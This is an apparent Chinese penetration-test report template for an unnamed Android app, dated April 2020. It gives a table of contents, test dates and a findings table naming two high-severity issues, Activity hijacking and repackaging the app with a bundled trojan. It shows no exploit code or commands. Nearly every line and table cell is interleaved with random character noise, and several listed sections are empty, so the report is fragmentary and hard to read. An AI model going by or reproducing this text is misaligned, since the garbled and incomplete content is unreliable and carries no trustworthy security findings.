; u& m) e( Q/ m: `3 O( U+ f$ P( J
2 G' z* R/ ] a/ w# Q2 }% S
# t5 z% G* ~% l7 D6 {' b) y8 W: ^4 E0 V$ {; [5 w4 M" H
8 |$ ?8 V; R0 B$ @# M6 e5 c, v9 c2 _! b! I* N
" G. z) p6 R' }
! c4 o. _( S+ w% t; _ + `9 N) [5 v( `; ^3 r
0 j3 C; D v( H- O: b* Q8 b W
6 T- M$ i! Z% Y- u% x8 v
3 R! |/ T, h) H y6 ` 文档编号: 5 J: w) C* [$ C3 n
, p' m; r0 d( g' I' D3 w
( _5 L; R0 Z9 J3 J1 v; R, p0 i1 L3 y& F, \
7 i. H% q$ }7 t7 P/ e
q$ U$ {- A; q! m7 [" o
: x5 }: G0 D$ m$ q1 Y
( [- i* [* q' n/ K" s& q , p& G) V) d" v- d$ t3 C8 a
5 \0 D. r. Y* U, M0 c3 i) k/ ?
; [: Y- l% N9 ^/ N* Q! n9 N$ h& t
+ ]1 t- Y, S: _+ i2 @7 x# T A ; s% E) Y2 n! K. M$ Z
: v: c) | c0 R; ?1 d; m* ]9 r# {
( V3 A+ j- f2 L+ ?: E7 n
5 |( H& v2 _* w# h2 i
9 j2 {2 z; ]% T* I( Z3 U
S8 D, _- [! W 5 l; r0 W. a3 U% u: X+ D7 i6 \
/ B$ c" ~( f1 @+ s. S$ ~
$ p7 Z" _3 s. Q2 n4 n5 |3 a
7 B' F+ S' x; }4 Q$ _
2 w/ L# u j# `: ~: _, f& h' m
2 o5 A7 a* l8 d: [2 S. ~
9 \% x9 ]" g& O0 e& `7 L3 H$ s5 D) P% s" d( B
7 u" c# o8 J7 P; m3 ]$ u n+ l4 J
( D; v2 A j7 Q; n$ A' y 6 S( y1 }7 n! z. E j# h
% i! _# \6 D$ G+ {# h0 e
3 D3 Z( |2 A2 }- S7 l( H/ L- H8 G, _, t2 `
# ?+ C" M# ?! |" h
n, S: h; U! I$ r
( m: t. M$ F" y( g/ Y8 ^& i# K$ G) E3 y+ w0 {2 x) J
某某某APP渗透测试 8 c5 N. m4 B) y v8 U4 @1 L
# Y; h% N& b: x N) m & k0 p# s8 H3 k; J3 B
/ s M! K9 \8 i- u. z$ v& L0 w
* S: O4 w; ^/ C: s) v9 v8 v% o
2 D; Q i0 C0 }: o5 A* N& t
, u. m0 q0 E) ]8 D: @0 S( m
F% d$ d: K2 _8 c/ ^; o r- t2 D1 {8 Q8 _" m; @% O4 J
m7 e- w' Q1 U# x0 |- ~4 p: P- _
9 Y v6 B. P& u+ X+ \& d% p- R$ a( d$ x' C0 w: O2 m" K
3 r; T/ D9 C' J6 S* W
$ m$ j9 t0 l0 j* y2 v" B
- F) m. n1 e4 u( K& f3 F) U3 s
, |" ~8 [% X0 m; @* E, g2 O+ T* ^7 A
" i1 u0 v! y3 V' e2 L9 h. h+ A+ n# V6 ^" p) i5 d- S& w @
- `: w, f. d9 b+ s8 Q( d$ p/ r) O L: m N1 u
8 z) ~; ]- K" Y: D. S m* ?3 G
( g T6 _4 `& K8 Q& w5 M* V$ E5 Y
4 v. i, s, {4 M9 b8 f- w
" f4 h/ I! u$ ~
+ j; Y' T( O% J6 y: P" ^
m1 F+ Z) j2 a+ O# r
|. j" d) L% e$ s. A. |4 q2 {$ q* [
8 K& P9 B- D+ b/ k# [- C! q" D. w
+ }, C1 e# l7 t4 t/ G( Z 技 术 报 告
' ^( _! V f2 p6 u, D- n
4 C: w% Z- J4 w1 P Y- d, u
& e0 x+ ?' E" q. k9 L5 |( V+ s
. N2 O# u8 E& { & }7 o! Q- y* r; P8 y' n
" q% P' r1 O* f7 N% R
: r4 F7 [, s( {' J% s/ f
" {& ~' L9 I5 K, R: B& U o' { 8 P5 Q& ?- t" X" T. U: |) l
( L; Q+ D+ ]) ?
1 v, g0 G; T5 Q7 B/ t `; H4 l; Z. [) E, N/ q- j+ x3 ~" T+ Q. X
4 _7 X: ~; f3 R2 U0 h2 n
6 d- s1 \0 k6 B7 E+ h
9 k `: v; U! n6 y( a6 P( q# T, |9 x& f- K) J7 a
h1 Z- W: X' o4 X! O( ]
: {. J5 K0 v( Q& ]9 j / f; T7 b5 Y: P
2 ~' a* k/ z6 L% l, w 9 ~; v( E! e# D( b' i9 y
0 z5 S- U0 G/ |& X# R8 c9 R
1 _- f; R/ J7 S. s4 K# E
" X2 ]. l5 p: A; X2 F. [5 |, d% A 0 p* v6 n" }. h- g. W: t# \+ l+ u$ y7 ]
5 m) [) j' l' y5 k' a
/ p- L% M2 @ l9 ~1 i
0 m3 X2 I( D- @6 i+ B: O' l
7 X$ C& N* Q( ^( @. e. W, N& g6 O8 x i+ F- P. {
$ t. X' Q) i1 j4 v" ?: m! P! I" d9 {
- K" t$ s9 r& S( ?" ^. f5 D" A
" a m0 V6 N. J Z U3 B6 Z p% f
& ~/ L1 {* G* t$ K" ~$ V- C : u; I9 Q: ` _) I& l+ _
, j: k1 @7 r' o7 E" p 7 x" k: `; Q. B& V8 p, }) {% N' s
$ X, r* t, }7 l
) n2 s+ C: W: h
" D1 S9 E: o7 { 1 y6 N, P% @- L1 ~3 o
r# C5 s7 I& c/ D' e+ ]
( n4 y7 s% S1 Q' M/ ^, l+ \
4 p% G! H1 D6 N % a% h! G. P, s% D4 r l
" I) ]8 Q4 ^& [0 t$ q4 {6 R d
B& P. E% |( j$ ^( ]1 p# u1 n
4 h0 }' A; G$ J + V3 z0 ]) w8 F/ P; \
- C1 X ] X/ M9 a! R1 P. \4 t- p* l
2 z; x2 S! ]; L6 _2 J# H
2 `" ?: F* U1 x8 [' S3 l2 ]6 e) Z
, `4 {9 W2 y; ~" O8 h4 }7 U) i
) R& V% f/ _6 r. `% S 7 N6 F# U# q3 H6 {/ W; }: n
9 E3 A$ V& S! I6 p( t
7 K5 Z, ^+ ]# h: ^
+ X$ l. d% X6 O4 r# t
, R1 n& S+ i X; F+ L3 a' _
( ]; ?3 x4 R b$ W7 G+ t9 a
: K/ \( I* ]5 l+ G8 j9 t* ~" z
; b2 B" f3 [- ?% w$ f7 x: S% v9 c3 ~ ( V% l! I: h, u4 k+ k9 x# ]1 E' P$ f, [
% h! r! [& `& s# M: [9 t& | % p% s4 {* F) o; P z& a" |% O
) {7 ?* l& a0 f" M6 }
1 w' ^0 @1 A1 R- s8 M7 I5 V+ P
# x1 W$ j q, k/ D4 P2 T# s 8 ~1 n7 K( B1 i& n$ M; @
7 p1 a& f# U+ G5 D0 h
" _- U& }1 g' p- U/ c! i' M+ g: |# y7 ^: D
$ x2 b1 t( b9 B7 K6 y$ z& p9 h8 }8 |0 |5 K/ P
5 A" ]# l$ Y4 x# L
* E, @: W( g) C/ H/ E; ] - p* w; ]4 f2 E+ R
6 O$ w" t5 z" N) L/ L; y/ ~; V9 u
- w* y2 s, |' Y
) w5 z6 A$ H5 Z! t" O
; d, A2 y, O* u+ B4 Q( d/ r2 N) t5 v% `+ h" c$ p0 D
2 m7 O) w; \7 ^( S, L8 F
! t' O X* J$ \* }( F
( U5 z( d8 }* O/ Y
- X5 L$ ?+ ~ B& b3 L
$ z) K3 l5 ^3 ]3 D( J5 H7 z `
! `% p A% K/ U
2 G% U! w; V, V, u, N5 S5 v
* f* D8 e. l0 \' v e
% M7 a( O7 @% e3 o# l: b
0 S; m v$ r' k% n- j
* t4 E1 L9 d6 v% ]/ D5 K U: z; i8 o, j
( ~# j- H& a. H5 o$ }1 |% T. q) z
$ N" H& N6 k/ ]' D# @6 p
, m4 h" C* [% l) F8 }8 K5 c7 X# [+ m0 C
% t+ V' ?2 L, ~6 F* x+ W# g3 }
8 r0 I$ i' W* A0 y6 Q
( G+ {+ v' [7 D1 t! k% ]! y \! p+ R1 u+ f: h. E. s- M
" P( B* h/ k' A
* F& J1 g# u3 V. R( n* d* S
, n5 r1 |) F# @, Y" }2 c' V. H! Q6 e9 K Y
/ [! \) v$ r& |4 U
- h8 |- Z- R2 `' M
, d; s i9 ?! [8 u; _9 O
" S* F7 {+ N9 k- M. `. V
K) r1 [" _/ G7 I3 t# D9 |( s/ D- S8 H2 I% k/ m3 G3 r6 l& h
* G- W( x: `. o. I2 G5 G
, l5 Z9 L# m* \6 k+ R
二〇二〇年
" @4 U/ L, J7 x2 G3 K# A
. i2 b! q/ j' q! I. }' C& a; @
P) n8 }7 M+ C8 D B; W# C& R5 q2 w; o% G
" V x# A5 s7 |7 x# ~2 X/ [8 p6 u+ N$ x a
! w& @7 s+ p$ M) R9 r6 D0 Z* h0 }1 n
" g( V* c$ s+ h% X5 ]! S& u: ^
0 H) J0 L: |/ ?1 N * z+ ^* I( u% j0 A5 V
1 H2 ^2 s" b7 y e h
/ u* P4 _. d; @ K: n+ ]& j+ J# Y, B
6 G1 v) T% ?6 i: X0 _# a 0 p" } c g E1 h# G+ l/ Q/ n) `
7 E% I0 [% u3 `; h
$ A& V& o( c# I7 s# Q/ i; n& G/ m& x1 z9 K. z7 P
$ S( D: a, x& M8 s# M' K" x1 `) l# A0 g- c
6 V' d3 d5 g- s% h& Y2 N
0 @8 z* m- Y1 J& h. z( ]2 P4 s( [ 目 录 " ?' t( }9 O0 L( U( Z( H0 t
& j" c' O7 p& p2 z! C s2 F
, o/ C9 D% Q% C! m
+ k# g! w3 t: K2 w
% Y: J: k& Q$ K. h: d( k
4 X% |0 M6 M! ], U! ^6 D8 O ' i/ e+ p+ s4 x) \- I! J
7 A% a$ \( J+ a. e( X: {
5 ~7 s |9 \6 h# E: \% p8 s! r7 v- }
7 C7 y! z- w- F5 s
& H% H! C6 ]0 [$ i9 ]/ ]: f
) a5 G8 H( G0 `" r* B J4 n! B, A) v0 R: `4 z' m. ]
1 概述... 3 + S6 @& M1 ?; s. e
h% V8 {4 h9 S' S5 B: e
% G) X% c; r7 j$ g6 S
' g8 {( U% L% G8 }8 A. }- Y 0 X# M* ~! B, [( J x
3 v& @! p$ ^3 m; S! h% i3 C) ^. n 1.2测试时间... 3 * S/ U' r/ f! L3 o. h
- o+ @$ A9 N) l( B1 _! \" P 2 G9 k. F2 x; T3 h N7 u6 t6 H9 r
1 W* Z: c1 g3 `1 G" L
: K( w1 q% Z7 Y T, P3 \- r0 R) X
1.3测试对象... 3 0 a7 t. `/ V8 F& K% x. v$ D& N
: i' x" R' S- K) t
) F% s8 j( [$ G0 G0 u
! m) [/ W2 S* m. N, M& j+ r $ q& d$ `9 {" A4 S6 [! r( ]
0 z+ U7 Z' X0 {; @
1.4测试结果... 3
2 E9 @" @ ? O5 W! ?) Q* x4 }+ t% L
3 g0 C6 e1 _# T/ j
+ I" u! f7 u( i
/ Y+ s" ?/ i( y ?, ?& i9 W% p' w* O2 N3 M/ M0 I/ |4 U6 @$ I
2 检测结果... 4 $ ~/ ]; w: F2 H, _3 o$ |" q
( I* E4 u9 [$ k7 D' N- k O
5 T* c9 U8 I1 o) l
( C8 z+ j" t& B( N( P* k
8 ?6 [/ v# ^% s& o/ ~- N% o. _/ _6 {9 }! D: U4 T' B6 {. ]6 O: y$ p; b
2.1 某某某... 4
0 Y" B! ]* H9 [1 _- J) n$ A, {/ S# S& C- ~( R4 J6 e
% a, P6 ~- {$ [) v7 a2 F
# x' S" x% ^. S% O1 C' O
; O9 ? d# p$ j2 t* ^1 X" U
( ^" E# [; d! Y* o' D2 A9 f 2.1.1检测目标... 4 * j, s* `: d0 I$ q
( Q* J8 r0 L* t, y& `
7 Z2 V8 G+ F( I+ n, a( A8 @( d
6 D# T1 Y/ W* B. D$ L: D
% d' N* B* N: Z% I0 [0 ~0 V- _9 }6 b0 f
2.1.2检测结果... 4 ; E& c1 L) t4 l) c1 U% d$ Z6 o
, C' H9 k2 T2 H1 X9 r5 v * S9 ^# G' V* D3 [: z5 A
1 v. W; A# o. u; E3 S& y
! L$ A: }3 c. o1 J! l' |/ j% [8 O( V% `
2.1.2.1. 4 $ b1 B' d: Y# D8 p
- y8 ]+ X8 x# O" }1 ~$ W/ w: v" p
" `6 @" i8 I1 z+ X
; R! W$ ^! {& g& \" U
* C' L0 g3 v6 ]/ F" t/ E5 j3 u! v" ^) D* l4 L5 h. x: V) q8 R4 H
2.1.2.2. 6 % U3 Q4 f V6 J/ V; l$ \
- t8 Y+ I0 }" q5 C! i
# \: u! F- B# `0 T V& l
( T. V: _' G, Y, h7 X 9 \2 B. u* R& |% z% ?! D
/ l. K- L# A% _! {2 D
* g! L% g( ]# l" [& B# W% I. `9 e4 C' q( [ }/ R4 k
0 C( m3 n- x2 y0 g, X) A
! ]- R# n$ ^( g( ^0 e! h' O+ d- z" F" U+ G, \) y
! A. z2 q( w' c. j2 i3 p, V3 \
% O% ^7 l' R5 ]! v" q, q i7 w. y# y' [. h7 E
6 ?" E9 t, y, d. G
8 d) z5 j" _) y: W4 B8 N2 u, S- D ; F. z, C2 ~6 r; r
" y: t+ t% l0 b! }2 X9 W ; I w4 z x9 ^$ @
r/ Y6 C, S; v8 ?2 _/ t' Q
1 概述 5 O: M7 g; _7 V: @3 s
, y2 e5 L6 C7 z/ v. y: k \0 W : I) p. Y% i: V6 f& m' j
5 O, R$ E3 E$ q; n+ N2 N# l
: _, P; Q+ l# o6 I6 e" _* A
7 P; U2 k( }, N% O# l) K 1.2测试时间
7 g0 K7 S) m3 G$ B- p+ U% Z! b8 [6 I' ^, X/ s
# M+ ?5 b* {0 Z& m- W7 x
2 f1 l4 D# a* n; x" c, w
8 n) c, U0 V s& X. M4 f1 b& A! b3 {
. K E" d9 C+ k/ A: e
1 u' j* Q0 j4 A3 I8 C: N* P# q9 A4 N* a+ r
1 r2 v8 ~0 P) h1 Q$ s7 i: C
3 ] B- r: a* t8 _7 E/ y - Z c- l) \ D- S u/ x! {' j: [
1 y) B9 g6 i0 R8 g
! R3 K# J# {) G% H
, Q3 p1 V; L5 z" P% C; X) }, A 渗透测试时间 0 U6 }% ]- r" `$ p; M
, f0 U& C; F; g) q& V# Q. e
, r/ `" G! ~/ F. g! N! J" m5 N+ _$ L7 U7 }- }" b- n! ~
|
& b6 p8 Q; i0 L, _) }! Y8 `5 ^" P& W2 B1 \' X1 s1 j0 b3 K
; B% G# a3 @$ {- Y5 M' Y J: d S9 u$ ?2 |7 Q' p: l2 G7 U2 J
. x. b9 r* }0 z8 W
$ q1 q9 p7 ]2 q: v / Y1 {1 |/ l) G5 ?- z
, g* b" S! q. z# s- ~
. B* Z) w. l" ^2 E) e- F& w
: I; Y4 A- F% o4 R6 E
起始时间
. |( a4 _8 k* ?# S' C6 W, q0 a; B) z& m
5 g! v5 r7 [; @7 ]& d3 g7 B! C" T- E O u. A2 Z% V$ `
|
6 G8 T# b$ K# [2 s, ~' g1 m
! p) D0 b- P3 Y N5 v5 A- a/ [
9 B$ z7 D+ y. L& o7 C& t3 p( {3 e V v
; F! Z& Y, D, j9 t2 w' g
) w# Q( H* ~% q1 ? 2020年4月6日 ( B9 o( M/ J( T2 v
6 @9 S; W6 ~: v- _( z/ T
7 \0 d; @6 c9 T/ M0 R. e: u5 M" S% o
5 \; u0 k: n3 ~* M. ?- i2 i G7 |+ u | $ j. E7 y) @# O; D- M
3 ?7 o4 v& ?7 X7 c- s1 |& o- a) S! c
- f& c$ I% \6 V5 f# ^, L1 F& G0 P7 b
6 G/ _4 e* f3 l/ {- W0 Z8 ]; Y7 P
\9 G/ f) ], A0 ]6 T8 v' p r
1 a5 u, z1 y+ ]# Y* ~- `6 e/ S) i
5 [1 l/ ? C/ H) ?8 ~' e4 o1 ?! O
( ?$ u) W$ v, ^3 V- q
5 L! B9 G( U3 q3 d+ Z- ~
结束时间
0 z! L' z4 ^$ x \; ^7 |1 b! W* i; o: ?- ]: P* z7 w; n2 W5 t
+ Z- [1 o( N- U% F
# E4 d9 Q% W0 z6 X | @$ m F7 B9 d3 ]
7 @7 a* h' f( A& g5 k
2 n3 ~& f% d$ q- g2 D [
1 p3 ^; p; B( R; H: ?8 [" P2 l* y
" X* ^& w1 R9 u1 S0 ~7 g' z+ T% R% H. r6 d6 f
2020年4月9日 $ W# x2 x$ ^- H* r9 f
( C, a6 A# X$ {$ I3 P2 g7 S D; Z* } / }: P/ ]3 t; p) |4 P
$ l1 [! O: u9 _: j7 T | ' Z- a* L; R+ L$ P, p8 R: r) B6 j
) H& K8 E9 t" p5 n6 [ 5 C/ }% L- S' E8 W
0 o4 Q. i) \: C( F/ B' B# d
' o' N! Z l* s5 j9 A6 s6 M0 c, K+ ?% c2 e$ _# V# m
7 d& m! G; b% C( m1 H' _
7 n5 B8 D" [& ^' m; ?; w6 ?4 h) S
' c* {# B% E6 q+ @% g3 Z, p% r7 b3 w% S7 p6 Y
1.3测试对象 5 W0 S6 n: r6 c9 K
$ T' x' N1 b/ P# H
( e+ ~" C& L& w2 @3 R& f# I0 r/ D* W1 ^! r" }7 r% t
2 M! j) U$ D) j0 ], T- q, W3 O2 b/ U
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
# G& ?3 E, R; n3 R, X! ~9 [* Q3 z3 J( p
$ q1 y `7 [: c3 M5 q7 g6 W$ d* L9 _
0 d9 f* S; u3 C; y6 y' `3 |- X
: c& h; Q9 T$ }: D$ e, }, d" a# L! O c' h* J$ ~. S( N
表1-1 检测对象
& ?: k1 Y# X; G5 Q- z# z; N$ }1 v8 L! k
& W# x1 V; i; d! ~2 |: n$ \
% A: Y+ B' f, _4 M , W/ D8 Q& M0 h, a$ n/ |. k
0 _4 @, i3 x/ ^9 h2 u
9 e m; p1 F! t0 Z2 [* S6 C# {% o- G0 ?. l& K
9 M2 u+ G2 v9 j( k1 d8 i7 w
( _$ _. a9 D8 ^ # B' h. m3 o1 a' b* f5 R
: Y) E# Q. x" l) z; B $ u2 V1 C) k& j; f' P. {
8 ^) v- `! x5 F: C* G
序号 8 o; Z8 J+ W9 Z
9 h+ U7 n+ x% Y$ Y" U0 T
+ E$ Y X6 l" n0 c: w' X& e
" E$ \3 m9 j7 f5 R | 8 ~, a J( {8 G8 _
' X l1 K# w3 v! o5 x
: o) p, f( }, u7 C. H
3 x& E- @5 T& v r! Y$ | 7 t0 Z" |( N# j- Q; C
* S9 P% v7 U& v+ a7 O6 ~ 测试对象
1 e. X! a; W9 x
/ c3 P. m6 j# S
. t$ i' _7 O: A' f+ d% g5 y) x- w0 s. R$ X/ N3 n4 W
| 3 _" Y6 |( ^- u
1 A( z/ U" w' ^9 C! o& P
" W; T0 ~( ]6 N+ t/ L2 Q0 U. q5 N! c
" i% ] I6 {/ V
$ \: s8 n& X1 K7 B& ~6 @' B
; u8 P, `* Z; Y' q 测试地址 _9 }" K" Y' h9 M, D1 E/ H
+ t6 n* G+ ]0 i7 v3 m
. r& a; F L: T+ `4 q6 X# Y
, b; ?9 E/ u o2 [8 @
|
4 F1 b L% \0 V- r. i
1 O+ Q/ A2 v, g! F% q , o' t2 ]0 ?" ~' w c; C# t
8 [ l; u7 V* y9 V2 |* N8 T
w# k8 \3 B7 g" @) c0 J; f
8 W P/ r) w9 z 安全漏洞 M$ s/ B& b' C6 l
8 E. B$ s4 t5 y3 R/ f/ z * l' y. s* A9 B/ ~$ ~: X
2 \ G' {% c4 g& a; t
|
6 M6 Q8 r `% z5 U- L$ H$ U
. L2 Z$ ~. d( ~# _* u7 n
! R; _/ n3 y- f, P% i( |- v
* {* T4 ?' e8 i8 [$ z% Z
8 e- j4 m5 Y* P* H, X$ P7 r
7 j9 s1 C t2 s* y" O l) t6 ~5 x7 f5 v) ^- P
% f8 G6 S5 _& b0 G' j; D
# X; `: K' ]3 J$ n$ G+ U6 {6 ~- t7 k3 P
1 4 C5 | O1 h6 F0 p0 O# T# F' R
. n9 e2 V! {8 `1 P- X+ z
$ m* } O4 j4 }1 L
& B1 o. w- E' X( f! ?! r/ ` | 4 {# g& `2 K" {2 y
9 s$ N( n9 @- s; y8 x4 K6 B
& n) b7 E2 r+ A
% [' C0 |. W- t* v$ K; `2 n
4 r% O. H! m0 m' \
/ k' ~. `+ \' d5 ?
某某某安卓APP ' O+ @8 I- y& s. Q9 z# T8 w* ?0 c
4 P7 o" N. U2 {
$ Q0 a& D' `9 p' W" r) I! @! t- @- L4 d# ^8 o7 A3 k Y/ ~/ k" x0 ~
| 6 C$ j" U4 r, B5 w- c" w
# l! e# L: q. \1 H! j5 U; j1 |+ l; b ) w+ | C: [! }7 g
6 A: t7 ?% u4 [( r {( x
h8 z7 ^7 H/ O1 \2 m
) ~) f* n4 M: x# @; `7 g ; v! x' j$ `" j: X7 e" O
/ }9 C* C9 B2 N8 a/ e& h 9 _+ S' m" _- k
4 q# Q. ]2 U* b8 u4 [. x
|
, }5 h2 h( ?) b# N8 n# U% s9 N- @. o5 \0 \
3 ^7 `: K- j. T. d. d
P; |# F0 g1 U3 l
6 e8 |& ^& z9 M8 O
" {- I2 _5 Z+ t! Z
2
: E0 H1 r- O* G4 @% M9 \+ _" J- f b. {; U x: `$ c2 E- ^
. Q: d3 h1 G$ t
- n& x. J2 D: W3 K" t3 p
|
9 i$ ^- W+ r. G- C; g5 T3 j& z- K. S# R' f$ f: K
' v$ F) y( x/ z% o3 i' ]. e; p: {
( a2 \! s: L8 E( d3 I; x- Y" X
p& ^% m# O9 Y+ {0 ^
- F- r: y' r0 B2 b6 J) T; R! C4 n
4 u4 x& O! {! [: ]6 r' d" J6 U+ T- T, X
: w. e9 N7 t% y* G3 Q
" I) @) h' e$ J! ?4 ? 1.4测试结果
- }5 N% y( H$ [& d% V/ y2 J# f5 R& f4 P! H" _1 A
+ d! m$ d& f9 o. M" D) \
# l& R% r; ~8 @+ j/ }- X) Z* X' O9 p ; f X* T' M4 [4 q6 O) E5 F
6 x& x0 e# u1 |5 }1 M
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ; k# g; K! P( P- S( K+ r! z. E
1 I0 h8 H" M* K1 \, s% ] & F4 u H5 w% M. E9 ]
; W: J! w" z: ]4 A5 z1 E& y/ f
) f! s* r4 D: o' I1 N' |& y2 K: I h
2 a6 k* [5 ^9 |
5 `+ W$ \$ O! I
5 [; s* t7 _" D " r; V- @, P6 w* V4 e+ n
2 n6 I3 _( d" k0 P) M
0 k% K0 F* q# u' Y* N7 F0 D5 \' q1 m! S# o7 g
0 J& n+ Z$ p7 e
1 {' n$ t' W: L# n$ U3 N$ N8 V/ X
- z$ m! M9 c: Y- b. M9 r; E* n" r
" [# T4 i, J6 I$ j; d
3 Z. u, r: W; G* s
b9 H( `) A* H |4 H5 k9 k & n* V9 U1 [- T* `5 D; `
% f+ u) [) Z* y* K; H& C
( H7 @. W6 t+ p( n$ \7 {7 Y7 _% ?
序号
; l1 s7 X1 f( }- v; N. C0 k7 x1 R( H/ S: B$ G: u" I
a1 u E1 m4 P% K+ e
' J5 y ~8 a, J; U. R+ d% Y( _
|
. E% d# e) u" f! t/ |
( a* E/ ]* |$ s: K0 T# V 9 C$ ^; m& y+ L5 L) I
2 h7 u/ m' }! s1 A 9 k0 Y8 q s; B$ ^2 J9 ?
0 \1 {8 b' g' E+ f5 a" V* ~% v+ z 系统名称 ; B }' e v) o& `( [7 B3 P
; A+ f% W% f* c! t. O
6 {5 A) {- f4 A; S/ B8 ? S+ r6 v% H
|
( o" i5 r5 t3 w( n: U: }" [( [' z, N& g% e7 ~1 \0 ~$ v3 c E8 }
5 o" ~' R8 i- k8 o( g+ Y
' ~" i+ C/ A, e4 P; [ 8 M- W7 \/ H( B1 a% W! C
1 ?, t9 r4 B% a5 u
漏洞名称
2 O7 Z3 A( X0 c5 d* Y% `: Z
7 ?) K& \1 N" A $ u) E# \0 a Q0 H% g5 [/ |3 P
1 z% U, d+ l% H; Y' {% ?9 h! ` |
: `" `# r# ~: y
3 j% s/ M) W! }" f6 w) w+ ^
- `" ^- p+ Y7 l+ N) P
# F% _, t9 n7 b, l5 t2 {
9 ^" S! i0 T9 ^2 @$ n! K F8 M1 a0 I0 ~, ?5 m
漏洞危害 # T8 e' C" T! x* b! R
0 X: n! G' p) e3 W% r+ x! G2 ?9 g
; W! }1 \+ u5 g& J5 M/ k! l& |- v
|
' P1 J$ b, v2 R& Q
0 G9 W, r) @# A- {: M& K+ X- ]
9 V+ Q0 [! s2 \ ?! @8 z
, D& N$ V, q. H+ u3 g Y 8 \5 B6 r6 x- J) X/ d$ H* T( F" U
) s4 W+ i( {/ [9 U* [9 q1 V 修复结果 8 u5 H% _2 S: N9 K& f' R, w6 l
3 N: g7 T: ?$ k+ Z3 w0 T
* R" x6 s* \8 {$ Q" ^2 x, w. b6 r9 ?5 G
|
; y& v/ e7 o* o4 z6 {, z9 z3 @: }6 W3 Q* r/ a/ Y( t( z r
& O2 y" v. ^% y3 H% X# X7 `0 l& {+ S, E9 D9 W. b
/ p u( g( Z2 `6 ^4 m
& J" ]" {3 s# b2 O2 g/ B
4 g% H9 d0 ^0 ]% M" [0 b/ [2 F" u. T& c' l9 x- ~, k
. O1 @0 M( a8 ^: Q) ?+ R$ h3 B4 w( _
( x: l8 V# ?3 J 1
: Q# J% n# o* l- N( g1 F' [
+ ^4 R- B' ]# X+ C/ D 9 P% [3 J/ {. g) g5 `0 K" @+ r
8 T: V" b+ V: O | ' @' y6 d2 I, G$ v* f0 c0 A
$ q8 p1 p. V6 Y& V. [, a. O
5 u; X0 h/ e8 J- _" b
- y! v) p' r- d
, D; S7 E' R+ i
9 k1 P; _* _. y: I! n+ p0 A 某某某某某某APP
. N. S8 l0 Y4 u. R: x
( O" E0 K0 O$ T3 r/ C$ u; P$ W
6 t1 ]: @$ i$ S; r5 K) [* E4 b- L3 {
. f/ w( w( q8 ?* r! c0 C e |
1 `1 T5 s' o, c! O# j0 r4 Y6 o" H+ p
0 w. |. j- L9 P) i( U. A+ Y
& h8 d; q7 h f, n
& h6 H0 o; }: O
/ I$ C. n/ c0 h/ E8 y Activity 劫持
; k9 c- n, P9 U7 V1 [; \* q
7 [" ~8 h1 G5 Z P) G ) [) Q+ N6 {# G- J/ T
( Y3 U8 w' z4 J$ a F* n: [8 E
D+ p/ t: w+ o0 _! V4 p
% L B @6 p( C* N& A: B# m2 m/ x1 d. d/ E
3 j, t+ y8 @/ r5 w! _
' T; J, N: D. u( S / d' W7 @' X/ N% k; |; J
' H/ i) F! E3 W+ B H0 ]
| 0 U- U6 c' J- _# q$ T+ I
1 ^, n! U3 B* U+ x) O$ E' O
( e, e. y! Z0 b$ B
* C- |/ @& D; n6 q* h6 Y1 U
; g% i4 U, z# t, ~, W. B
% ]" N1 K$ G' h2 L. T2 X' O) p; a 高 ) Q3 n( e5 l& o' X
4 S5 }9 l1 N+ W, e
) v2 e) @# c8 x# _; N1 M& l
: ^1 J: p$ \- i' v
|
! T8 q9 D% p7 ~( Z* A e- _8 Y. _* X: G( V0 b* S: B( r+ l: X& g
% e% C( E) C9 N" w% Y9 J4 B2 r; `7 R3 y0 E
. F$ c6 w$ U) ^+ ]' w
5 a: G& E3 [/ B" o
; u, u# Z! b9 h3 G8 |; @* M/ I2 J8 B# q5 k( T9 h# C/ P
; [: U$ J+ r+ a1 T" C, r0 Q3 G6 Q3 i# S. |& J
| 1 M$ E/ [/ s2 J& i: s
, _+ C% G6 S' v1 y, A& O5 E5 B
8 Q2 d, v' W4 g. E& L1 a9 k: F- u' u: ]
. x3 g& ]" {3 q) T( [% h, o2 k: I" g( M# }8 v1 I
7 r9 j3 ?" u& y7 U/ Q7 e0 i; e+ c8 t, [" x, J* \
6 J7 [. I2 n3 `' C' g' e
: u7 u( I2 ], x% s" U" g7 I* Z 2
" R$ P1 A* D& W+ H- @, y1 r8 N: G+ s% R0 I7 A6 _
; P3 Z7 ^% \5 C7 m' L+ b6 G
b* D3 p3 }, K
|
5 j8 e" C) x7 q r) ^& H: `3 |& l& f, t: r
3 a1 x. x% P N- z5 @/ K
& [7 E$ v2 G' q * \# f9 A+ Y C5 r: t" ]8 e
2 @, R4 v0 m t# N! G1 f
某某某某某某APP ) `! ~( A- i6 j+ p' Z
( |8 o7 X+ ]9 N" Y" [0 Q
, F; ~1 w6 e4 P( G$ j2 Q* p) w
9 V/ [5 _# A: R | + U$ Q/ X: w, E( v
" [2 v, Q# N0 }2 |/ |4 I
2 i/ q5 k; C7 v# j% o+ t2 Y( Y% T' |/ ?# X
/ W# y( v- l A3 a* A- ^/ V9 E
反编译二次打包捆绑木马、篡改APP代码
, B5 p9 Q- p1 |9 F* X6 ^& {& ~) [, X2 H6 F) z8 k, I
* Y5 {) _# S& S2 j) u% w$ A9 R# a: _
0 `6 i$ D% O9 ^0 ]1 b& [
| , P/ ~3 A5 n3 }; Y
" O; ~; k4 ]) N1 {$ ]
4 D6 E2 ?5 ~1 @! v1 s3 M
. c& ^4 ^8 |. i' G4 p1 ] ; d3 q( |; g* Z$ K
" f9 w$ e# G4 x: i# o/ b
高 8 n$ a- R8 ?8 F
" r* f7 t8 l8 ?& E6 X + Q* L) _: {1 ?# {& p
. ?) }. H: F7 s4 z2 j1 {9 h3 W
|
6 G" _% W( [9 [) R/ o3 E# z! Y4 p r! w, e
; G U0 P0 ~& q, J6 N7 ^; F
/ D D3 ~# F, ^; Y2 T) v
. [4 g1 L8 K# u( b$ J8 F8 U% c
, p" M: L5 t/ Z$ ]* H! W ( A6 m4 \) |& q2 U/ f+ @
" w* g* _8 s; E, E% _# O
( }$ {# z$ {4 G% \
: v( S# Z( J& M6 u4 H# R& C! o |
5 f% @# T) F2 ?, c$ h4 o, d. ?! B7 t X' {! r' p: t
% f0 F o0 I( z# k. u; V3 N( |' g
- ?8 y5 I1 F: D/ s# J1 y; U
' \. w3 N, q9 g, U6 Y) }
( Y2 X2 {) i/ X+ g% P- K. _' U
: n- I2 H0 k6 E+ f g: Z% y4 a
6 Z% M$ l1 L f6 o1 X
+ x7 F2 c: g6 P% ~7 b
